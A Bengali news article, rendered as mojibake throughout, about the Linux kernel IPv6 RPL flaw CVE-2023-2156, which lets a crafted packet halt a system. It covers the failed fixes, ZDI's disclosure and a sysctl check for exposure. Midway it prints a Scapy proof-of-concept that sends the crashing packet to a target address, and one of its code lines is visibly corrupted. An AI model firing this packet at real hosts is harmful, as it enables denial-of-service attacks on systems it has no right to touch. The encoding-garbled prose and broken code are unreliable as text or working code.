āĻ˛āĻŋāĻ¨āĻžāĻā§āĻ¸ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§ āĻāĻāĻāĻŋ āĻāĻ¨āĻĒā§āĻ¯āĻžāĻāĻĄ (0-āĻĻāĻŋāĻ¨) āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž (CVE-2023-2156) āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻ¤āĻĨā§āĻ¯ āĻĒā§āĻ°āĻāĻžāĻļ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ āĻ¯āĻž āĻŦāĻŋāĻļā§āĻˇāĻāĻžāĻŦā§ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž IPv6 āĻĒā§āĻ¯āĻžāĻā§āĻ (āĻĒā§āĻ¯āĻžāĻā§āĻ-āĻ āĻĢ-āĻĄā§āĻĨ) āĻĒāĻžāĻ āĻžāĻ¨ā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽāĻāĻŋāĻā§ āĻĨāĻžāĻŽāĻžāĻ¨ā§āĻ° āĻ āĻ¨ā§āĻŽāĻ¤āĻŋ āĻĻā§āĻ¯āĻŧāĨ¤ āĻ¸āĻŽāĻ¸ā§āĻ¯āĻžāĻāĻŋ āĻ¤āĻāĻ¨āĻ āĻĻā§āĻāĻž āĻĻā§āĻ¯āĻŧ āĻ¯āĻāĻ¨ RPL āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ (āĻ˛ā§-āĻĒāĻžāĻāĻ¯āĻŧāĻžāĻ° āĻāĻŦāĻ āĻā§āĻˇāĻ¤āĻŋāĻāĻžāĻ°āĻ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻāĻā§āĻ˛āĻŋāĻ° āĻāĻ¨ā§āĻ¯ āĻ°āĻžāĻāĻāĻŋāĻ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛) āĻ¸āĻā§āĻˇāĻŽ āĻāĻ°āĻž āĻĨāĻžāĻā§, āĻ¯āĻž āĻĄāĻŋāĻ¸ā§āĻā§āĻ°āĻŋāĻŦāĻŋāĻāĻļāĻ¨ā§ āĻĄāĻŋāĻĢāĻ˛ā§āĻāĻ°ā§āĻĒā§ āĻ āĻā§āĻˇāĻŽ āĻĨāĻžāĻā§ āĻāĻŦāĻ āĻāĻā§āĻ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻ˛āĻ¸ āĻ¸āĻš āĻāĻ¯āĻŧā§āĻ¯āĻžāĻ°āĻ˛ā§āĻ¸ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻāĻā§āĻ˛āĻŋāĻ¤ā§ āĻĒāĻ°āĻŋāĻāĻžāĻ˛āĻŋāĻ¤ āĻāĻŽāĻŦā§āĻĄā§āĻĄ āĻĄāĻŋāĻāĻžāĻāĻ¸āĻā§āĻ˛āĻŋāĻ¤ā§ āĻĒā§āĻ°āĻ§āĻžāĻ¨āĻ¤ āĻŦā§āĻ¯āĻŦāĻšā§āĻ¤ āĻšāĻ¯āĻŧā§ˇ
RPL āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ āĻĒāĻžāĻ°ā§āĻ¸āĻŋāĻ āĻā§āĻĄā§ āĻŦāĻžāĻšā§āĻ¯āĻŋāĻ āĻĄā§āĻāĻžāĻ° āĻā§āĻ˛ āĻĒāĻ°āĻŋāĻāĻžāĻ˛āĻ¨āĻžāĻ° āĻāĻžāĻ°āĻŖā§ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻ¸ā§āĻˇā§āĻāĻŋ āĻšāĻ¯āĻŧ, āĻ¯āĻž āĻāĻāĻāĻŋ āĻĻāĻžāĻŦā§ āĻŦā§āĻ¯āĻ°ā§āĻĨāĻ¤āĻžāĻ° āĻĻāĻŋāĻā§ āĻĒāĻ°āĻŋāĻāĻžāĻ˛āĻŋāĻ¤ āĻāĻ°ā§ āĻāĻŦāĻ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻāĻāĻāĻŋ āĻāĻ¤āĻā§āĻāĻŋāĻ¤ āĻ āĻŦāĻ¸ā§āĻĨāĻžāĻ¯āĻŧ āĻāĻ˛ā§ āĻ¯āĻžāĻ¯āĻŧāĨ¤ IPv6 RPL āĻĒā§āĻ¯āĻžāĻā§āĻ āĻšā§āĻĄāĻžāĻ°āĻā§ k_buff (āĻ¸āĻā§āĻ āĻŦāĻžāĻĢāĻžāĻ°) āĻāĻžāĻ āĻžāĻŽā§āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¸ āĻāĻ°āĻžāĻ° āĻĢāĻ˛ā§ āĻĒā§āĻ°āĻžāĻĒā§āĻ¤ āĻĄā§āĻāĻž āĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, āĻ¯āĻĻāĻŋ CmprI āĻā§āĻˇā§āĻ¤ā§āĻ°āĻāĻŋ 15 āĻ āĻ¸ā§āĻ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, Segleft āĻā§āĻˇā§āĻ¤ā§āĻ°āĻāĻŋ 1 āĻ āĻ¸ā§āĻ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻāĻŦāĻ CmprE 0 āĻ āĻ¸ā§āĻ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, 48- āĻŦāĻžāĻāĻ āĻ āĻŋāĻāĻžāĻ¨āĻž āĻā§āĻā§āĻāĻ° 528 āĻŦāĻžāĻāĻā§ āĻāĻ¨āĻĒā§āĻ¯āĻžāĻ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ āĻāĻŦāĻ āĻāĻŽāĻ¨ āĻāĻāĻāĻŋ āĻĒāĻ°āĻŋāĻ¸ā§āĻĨāĻŋāĻ¤āĻŋ āĻ¯ā§āĻāĻžāĻ¨ā§ āĻŦāĻžāĻĢāĻžāĻ°ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻĒāĻ°ā§āĻ¯āĻžāĻĒā§āĻ¤ āĻŽā§āĻŽāĻ°āĻŋ āĻŦāĻ°āĻžāĻĻā§āĻĻ āĻ¨ā§āĻāĨ¤ āĻāĻ āĻā§āĻˇā§āĻ¤ā§āĻ°ā§, āĻāĻžāĻ āĻžāĻŽā§āĻ° āĻŽāĻ§ā§āĻ¯ā§ āĻĄā§āĻāĻž āĻĒā§āĻļ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§āĻ¤ skb_push āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋ āĻĄā§āĻāĻž āĻāĻŦāĻ āĻŦāĻžāĻĢāĻžāĻ°ā§āĻ° āĻ āĻ¸āĻžāĻŽāĻā§āĻāĻ¸ā§āĻ¯āĻĒā§āĻ°ā§āĻŖ āĻāĻāĻžāĻ°ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻāĻāĻŋ āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻžāĻ˛āĻžāĻ¯āĻŧ, āĻŦāĻžāĻĢāĻžāĻ°āĻāĻŋāĻā§ āĻāĻāĻžāĻ°āĻ°āĻžāĻāĻ āĻāĻ°āĻž āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻ§ āĻāĻ°āĻ¤ā§ āĻāĻāĻāĻŋ āĻāĻ¤āĻā§āĻāĻŋāĻ¤ āĻ āĻŦāĻ¸ā§āĻĨāĻž āĻ¤ā§āĻ°āĻŋ āĻāĻ°ā§āĨ¤
āĻāĻĻāĻžāĻšāĻ°āĻŖ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§āĻ¨: # āĻāĻŽāĻ°āĻž scapy.all import * import socket āĻĨā§āĻā§ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻ¤ā§ Scapy āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻŦ # āĻāĻĒāĻ¨āĻžāĻ° LAN āĻāĻ¨ā§āĻāĻžāĻ°āĻĢā§āĻ¸ āĻĨā§āĻā§ IPv6 āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§āĻ¨ DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # āĻĒā§āĻ¯āĻžāĻā§āĻ āĻĒāĻžāĻ āĻžāĻ¤ā§ āĻāĻŽāĻ°āĻž āĻ¸āĻā§āĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻŦ sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # āĻĒā§āĻ¯āĻžāĻā§āĻ āĻ¤ā§āĻ°āĻŋ āĻāĻ°ā§āĻ¨ # āĻĒā§āĻ°āĻāĻžāĻ° = 3 āĻāĻāĻŋāĻā§ āĻāĻāĻāĻŋ RPL āĻĒā§āĻ¯āĻžāĻā§āĻ āĻāĻ°ā§ # āĻ āĻŋāĻāĻžāĻ¨āĻžāĻ¯āĻŧ 3āĻāĻŋ āĻ āĻŋāĻāĻžāĻ¨āĻž āĻ°āĻ¯āĻŧā§āĻā§, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻ¯ā§āĻšā§āĻ¤ā§ CmprI 15, # āĻĒā§āĻ°āĻĨāĻŽ āĻĻā§āĻāĻŋ āĻ āĻŋāĻāĻžāĻ¨āĻžāĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻāĻŋ āĻ āĻā§āĻā§āĻ āĻāĻāĻāĻŋ āĻ¸āĻāĻā§āĻāĻŋāĻ¤ āĻ āĻŋāĻāĻžāĻ¨āĻž āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻŦāĻŋāĻŦā§āĻāĻ¨āĻž āĻāĻ°āĻž āĻšāĻ¯āĻŧ # Segleft = 1 āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ§āĻ¨āĻā§ āĻā§āĻ°āĻŋāĻāĻžāĻ° āĻāĻ°āĻ¤ā§ # lastentry = 0xf0 CmprI 15 āĻāĻŦāĻ CmprE 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type:"a=3,"[e=8) āĻ¸ā§āĻ āĻāĻ°ā§ :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # āĻāĻ āĻāĻžāĻ°āĻžāĻĒ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻĒāĻžāĻ āĻžāĻ¨ sockfd.sendto(bytes(p), (DST_ADDR, 0))
āĻāĻāĻž āĻ˛āĻā§āĻˇāĻŖā§āĻ¯āĻŧ āĻ¯ā§ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻĄā§āĻā§āĻ˛āĻĒāĻžāĻ°āĻĻā§āĻ° 2022 āĻ¸āĻžāĻ˛ā§āĻ° āĻāĻžāĻ¨ā§āĻ¯āĻŧāĻžāĻ°āĻŋāĻ¤ā§ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧā§ āĻ āĻŦāĻšāĻŋāĻ¤ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ āĻāĻŦāĻ āĻāĻ¤ 15 āĻŽāĻžāĻ¸ā§ āĻ¤āĻžāĻ°āĻž āĻ¸ā§āĻĒā§āĻā§āĻŽā§āĻŦāĻ° 2022, āĻ āĻā§āĻā§āĻŦāĻ° 2022 āĻāĻŦāĻ āĻāĻĒā§āĻ°āĻŋāĻ˛ 2023-āĻ āĻĒā§āĻ¯āĻžāĻāĻā§āĻ˛āĻŋ āĻĒā§āĻ°āĻāĻžāĻļ āĻāĻ°ā§ āĻ¤āĻŋāĻ¨āĻŦāĻžāĻ° āĻ¸āĻŽāĻ¸ā§āĻ¯āĻžāĻāĻŋ āĻ¸āĻŽāĻžāĻ§āĻžāĻ¨ āĻāĻ°āĻžāĻ° āĻā§āĻˇā§āĻāĻž āĻāĻ°ā§āĻāĻŋāĻ˛, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻĒā§āĻ°āĻ¤āĻŋāĻŦāĻžāĻ°āĻ āĻ¸āĻāĻļā§āĻ§āĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧāĻ¨āĻŋ āĻ¯āĻĨā§āĻˇā§āĻ āĻāĻŦāĻ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻĒā§āĻ¨āĻ°ā§āĻ¤ā§āĻĒāĻžāĻĻāĻ¨ āĻāĻ°āĻ¤ā§ āĻ¸āĻā§āĻˇāĻŽ āĻāĻŋāĻ˛āĨ¤ āĻļā§āĻˇ āĻĒāĻ°ā§āĻ¯āĻ¨ā§āĻ¤, ZDI āĻĒā§āĻ°āĻāĻ˛ā§āĻĒ, āĻ¯āĻž āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻĻā§āĻ° āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻžāĻāĻā§ āĻ¸āĻŽāĻ¨ā§āĻŦāĻŋāĻ¤ āĻāĻ°ā§āĻāĻŋāĻ˛, āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§ āĻāĻāĻāĻŋ āĻāĻžāĻ°ā§āĻ¯āĻāĻ°ā§ āĻĒā§āĻ¯āĻžāĻ āĻāĻĒāĻ¸ā§āĻĨāĻŋāĻ¤ āĻšāĻāĻ¯āĻŧāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ āĻĒā§āĻā§āĻˇāĻž āĻ¨āĻž āĻāĻ°ā§, āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻŦāĻŋāĻ¸ā§āĻ¤āĻžāĻ°āĻŋāĻ¤ āĻ¤āĻĨā§āĻ¯ āĻĒā§āĻ°āĻāĻžāĻļ āĻāĻ°āĻžāĻ° āĻ¸āĻŋāĻĻā§āĻ§āĻžāĻ¨ā§āĻ¤ āĻ¨āĻŋāĻ¯āĻŧā§āĻā§āĨ¤
āĻāĻāĻāĻžāĻŦā§, āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻāĻāĻ¨āĻ āĻ
āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻ§ā§āĻ¯āĨ¤ 6.4-rc2 āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ā§ āĻ
āĻ¨ā§āĻ¤āĻ°ā§āĻā§āĻā§āĻ¤ āĻĒā§āĻ¯āĻžāĻ āĻ
āĻ¨ā§āĻ¤āĻ°ā§āĻā§āĻā§āĻ¤ āĻāĻ°āĻž āĻāĻžāĻ°ā§āĻ¯āĻāĻ° āĻ¨āĻ¯āĻŧāĨ¤ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻāĻžāĻ°ā§āĻĻā§āĻ° āĻ¤āĻžāĻĻā§āĻ° āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§ RPL āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻšāĻā§āĻā§ āĻ¨āĻž āĻ¤āĻž āĻ¯āĻžāĻāĻžāĻ āĻāĻ°āĻžāĻ° āĻĒāĻ°āĻžāĻŽāĻ°ā§āĻļ āĻĻā§āĻāĻ¯āĻŧāĻž āĻšāĻā§āĻā§, āĻ¯āĻž sysctl -a | grep -i rpl_seg_enabled
āĻāĻ¤ā§āĻ¸: opennet.ru